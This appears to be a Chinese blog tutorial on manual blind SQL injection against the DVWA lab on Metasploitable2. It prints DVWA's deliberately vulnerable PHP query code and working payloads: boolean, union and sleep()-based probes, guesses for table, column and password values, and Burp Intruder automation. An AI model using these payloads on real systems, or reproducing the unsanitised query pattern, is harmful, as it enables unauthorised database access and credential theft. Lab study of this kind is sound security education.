SQL手工注入原理(二)

工具

靶机——metasploitable2
WebApplication——DVWA
SQL手工注入原理(一)

SQL盲注

应用场景

  • web服务器不显示数据库内建的报错信息(内建的报错信息帮助开发人员发现和修复问题)
  • 当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果——

DVWA盲注——SQL Injection (Blind)

low等级:
<?php     
if (isset($_GET['Submit'])) { 
    // Retrieve data 
    $id = $_GET['id']; 
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors 
    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind' 
    $i = 0; 
    while ($i < $num) { 
        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name");  
        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 
        $i++; 
    } 
} 
?>

此时浏览器不会返回数据库报错信息!
正常输入
在这里插入图片描述
错误输入
在这里插入图片描述
不会提示错误!

1' and 1=1-- 
1' and 1=2-- 
1' or 1=1-- 
1' or 1=2-- 
1' order by 3-- 
1' order by 2-- 
1' union select user(),2#
……其他和第一篇原理一类似了!
[--后面要加个空格,其实也可以把 -- 换成 #]
看过第一篇的小伙伴就会问了,为什么前面要有个1 ,一定需要吗?
在盲注的时候,因为你不确定你后面那条语句是否成立,最好是要传入一个正确的存在的参数。
基于时间盲注:sleep()
1' and sleep(5)-- 
1' or sleep(5)-- 
判断主要是依据浏览器的反应时间!

发现浏览器等待了 5s 才有反应
在这里插入图片描述

权限问题

特别注意:
      因为靶机上运行的数据库是以 root 权限运行的,所以在第一篇原理篇里的 union ,order by等语句是可以执行的。
      但如果目标服务器运行数据库的权限只是个普通用户,那些语句就无法被执行了!

无权读取 information_schema库 / 拒绝union,order by语句

解决方法:
猜列名: 1' and user is not null-- 
猜当前表的表名: 1' and table.user is not null--       table:表的名字
猜库里其他表表名: 1' and (select count(*) from table)>0-- 
列表对应关系: 1' and users.user is not null--
猜字段内容: 1' and user='admin
                       1' or user like '%a%
 猜账号对应密码:  2' or user='admn' and password='kcshanbd

猜的时候可以用 BurpSuite 自动化 

演示自动化猜解

在这里插入图片描述
发现浏览器向服务器以 GET 方式发起请求,把需要 猜解 的内容发送到 ==Intruder ==
注:这个部分不需要勾选(不需要对字典里的符号进行url编码)
在这里插入图片描述
发起攻击后,查看结果
有两个长度与其他不一致的,点击查看 Response 里的 Render
在这里插入图片描述
其余猜解自动化与上面类似。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值